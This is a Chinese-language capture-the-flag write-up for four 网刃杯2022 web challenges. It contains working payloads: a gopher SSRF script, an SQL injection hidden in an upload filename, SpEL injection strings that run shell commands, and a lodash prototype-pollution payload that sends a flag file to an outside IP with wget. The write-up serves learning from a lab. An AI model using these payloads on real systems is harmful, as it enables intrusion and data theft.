[网刃杯2022]signin
直接访问靶场是个curl的题目源码
<?php
highlight_file(__FILE__);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>
一般这种情况考虑文件包含和ssrf
/flag无果后,考虑ssrf,首先必须对内网进行信息收集
尝试dict://协议扫描端口,无果,认为可能需要扫描其他靶机ip
读/etc/hosts
http://124.222.24.150:8091/?url=file:///etc/hosts
可以看到内网ip是172.73.23.21
对它进行扫描,试图C段嗅探(就是对d段进行扫描)(46条消息) 信息收集之——旁站、C段_JieDG的博客-CSDN博客_旁站扫描
扫描到同一内网的机器:172.73.23.100
由于既要get又要post,尝试使用gopher成功,后面又说有ip限制,试图gopher套娃失败后,尝试修改http header成功,后续又有浏览器限等也是修改http header,最终脚本如下
import urllib.parse
payload =\
"""
POST /index.php?a=1 HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For:127.0.0.1
referer:bolean.club
Content-Length: 3
b=1
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://172.73.23.100:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 因为是GET请求所以要进行两次url编码
学到了脚本,有些时候看到127.0.0.1不要马上以为是ssrf,有可能是xff头
[网刃杯2022]upload
由于题目hint说是sql注入,于是上网搜索发现一道xctf的upload
几乎是xctf原题
原理:文件后缀名未经过滤,在insert into 时导致sql漏洞,
先上传有单引号的后缀名可以直接发现报错(单引号闭合)
试图updatexml
flag from flag是猜的
------WebKitFormBoundaryH6UwBf190fTTMwSe
Content-Disposition: form-data; name="upfile"; filename="a.t' and updatexml(1,concat(0x7e,(select flag from flag),0x7e),1) and 'xt"
Content-Type: ctf
[Content of 'D:\source\2022ctf\网刃杯\web\upload\a.t'xt']
------WebKitFormBoundaryH6UwBf190fTTMwSe--
flag{5937a0b90b5966939cccd36929
用一个right即可
(select right(flag,30) from flag),0x7e),1)
7a0b90b5966939cccd369291c68aa}
flag{5937a0b90b5966939cccd369291c68aa}
[网刃杯2022]ezjava
还真没想到是ezjava,蚌埠
由于开局可以看到点击下载,抓包后发现是这样下载的
GET /download?filename=1.txt
所以得知filename可控,试图扫描目录穿越,扫描文件,获取源码无果(当时卡这了,使用包括但不限于../或者file://协议多种办法无果)
答案是:只有刚好3个../可以不回显invalide filename并且可以扫描文件
蚌埠住了
../../../web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>com.abc.servlet.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/download</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>TestServlet</servlet-name>
<servlet-class>com.abc.servlet.TestServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>TestServlet</servlet-name>
<url-pattern>/test388</url-pattern>
</servlet-mapping>
</web-app>
有个test,获取之
看到是这个com.abc.servlet.TestServlet
推测路径:classes/com/abc/servlet/TestServlet.class
下载下来是个class文件,我推荐使用jdGUI进行反编译
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.abc.servlet;
import java.io.IOException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.expression.Expression;
import org.springframework.expression.ParserContext;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
public class TestServlet extends HttpServlet {
public TestServlet() {
}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
String name = request.getParameter("name");
name = new String(name.getBytes("ISO8859-1"), "UTF-8");
if (this.blackMatch(name)) {
request.setAttribute("message", "name is invalid");
request.getRequestDispatcher("/message.jsp").forward(request, response);
return;
}
System.out.println(name);
String message = this.getAdvanceValue(name);
request.setAttribute("message", message);
request.getRequestDispatcher("/message.jsp").forward(request, response);
} catch (Exception var5) {
request.setAttribute("message", "error");
request.getRequestDispatcher("/message.jsp").forward(request, response);
}
}
private boolean blackMatch(String val) {
String[] var2 = this.getBlacklist();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
String keyword = var2[var4];
Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
if (matcher.find()) {
return true;
}
}
return false;
}
private String getAdvanceValue(String val) {
ParserContext parserContext = new TemplateParserContext();
SpelExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(val, parserContext);
StandardEvaluationContext evaluationContext = new StandardEvaluationContext();
return exp.getValue(evaluationContext).toString();
}
private String[] getBlacklist() {
return new String[]{"java.+lang", "Runtime", "exec.*\\("};
}
}
简单看了一下,就是post一个name过去,经过过滤以后放入parser.parseExpression
搜索得知玩转Spring中强大的spel表达式! - 知乎 (zhihu.com)
spel表达式,考虑表达式注入,简单学习一下以后尝试
name=#{3*3}
有这个漏洞,找条Payload打就行
name=#{new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("bash","-c","{echo,bHMgL3xiYXNlNjQ=}|{base64,-d}|{bash,-i}").start().getInputStream(), "gbk")).readLine()}
name=#{new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cat","/f1AgJvav").start().getInputStream(), "gbk")).readLine()}
上面用的Miku师傅的payload,miku随便找找就出了,什么时候能像他一样优秀?
上面的绕过看到这篇SpEL注入RCE分析与绕过 - 先知社区 (aliyun.com)
不过还要套上这个才可以输出,或许可以试试反弹shell?
new java.io.BufferedReader(new java.io.InputStreamReader(payload.getInputStream(), "gbk")).readLine()
试图反弹shell无果
[网刃杯2022]eznode
题目给了docker,修改一下黑名单那里可以搭建docker环境
之前代码审计看到loadash.merge和ejs,以为是Xnuca那个,在本地多次尝试payload无果后遂放弃,仔细看发现其实没有ejs依赖
原理如下:
从 Lodash 原型链污染到模板 RCE - 安全客,安全资讯平台 (anquanke.com)
赛后发现是这篇文章的下半部分,刚好就看到那没看了,以后要提升效率!
简单复现
本来用的这个不行
{'character': ['乃琳'], 'ctf': [{{"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process')['ex'+'ec']('wge'+'t$IFS$9http://8.129.42.140:3307/\u0060ta\\c$IFS$9/.[f]lag\u0060')//"}}}]}
应该用这个
{'character': ['乃琳'], 'ctf': [{{"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process')['ex'+'ec']('wge'+'t$IFS$9http://8.129.42.140:3307/\u0060ta\\c$IFS$9/.[f]lag\u0060')//"}}}]}
等哪天有空再来看原理